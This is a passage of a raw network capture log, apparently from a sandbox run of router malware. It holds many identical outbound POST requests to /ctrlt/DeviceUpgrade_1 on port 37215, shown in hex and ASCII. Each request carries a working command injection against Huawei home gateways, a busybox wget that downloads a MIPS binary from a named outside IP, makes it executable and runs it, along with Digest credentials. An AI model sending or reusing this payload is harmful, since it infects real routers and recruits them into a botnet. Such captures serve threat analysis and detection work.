huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:06.556704044 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:14.124839067 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:29.260874987 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.20	47218	45.127.162.238	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:02.529092073 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:03.368716002 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:04.376899958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:06.396789074 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:10.436774969 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:18.508899927 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:03:34.669018984 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 